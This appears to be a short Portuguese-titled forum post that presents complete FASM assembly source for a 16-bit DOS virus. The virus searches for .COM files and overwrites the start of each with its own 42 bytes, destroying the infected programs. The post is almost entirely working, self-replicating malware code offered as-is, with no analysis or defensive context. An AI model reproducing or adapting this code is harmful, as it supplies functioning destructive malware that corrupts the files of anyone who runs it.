[ASSEMBLY] - Vírus antigo que infecta arquivo .COM - (16Bits) - FASM


#fasm#

org  100h
jmp inicio
FILE_COM db '*.COM',0       ;string for COM file search        
FNAME equ 9eh                ;search-function file name result
inicio:
      mov ah,4eh            ;search for *.COM (search first)
      mov dx,FILE_COM
      int 21h
OpenFile:
      jc DONE
      mov ax, 3d01h            ;open file we found
      mov dx, FNAME
      int 21h      
      xchg ax,bx        ;write virus to file
      mov ah,40h
      mov cl,42        ;size of this virus
      mov dx,100h    ;location of this virus
      int 21h            
      mov ah,3eh
      int 21h        ;close file
      mov ah,4fh
      int 21h            ;search for next file
      jmp OpenFile
DONE:
     ret            ;exit to DOS





Comentários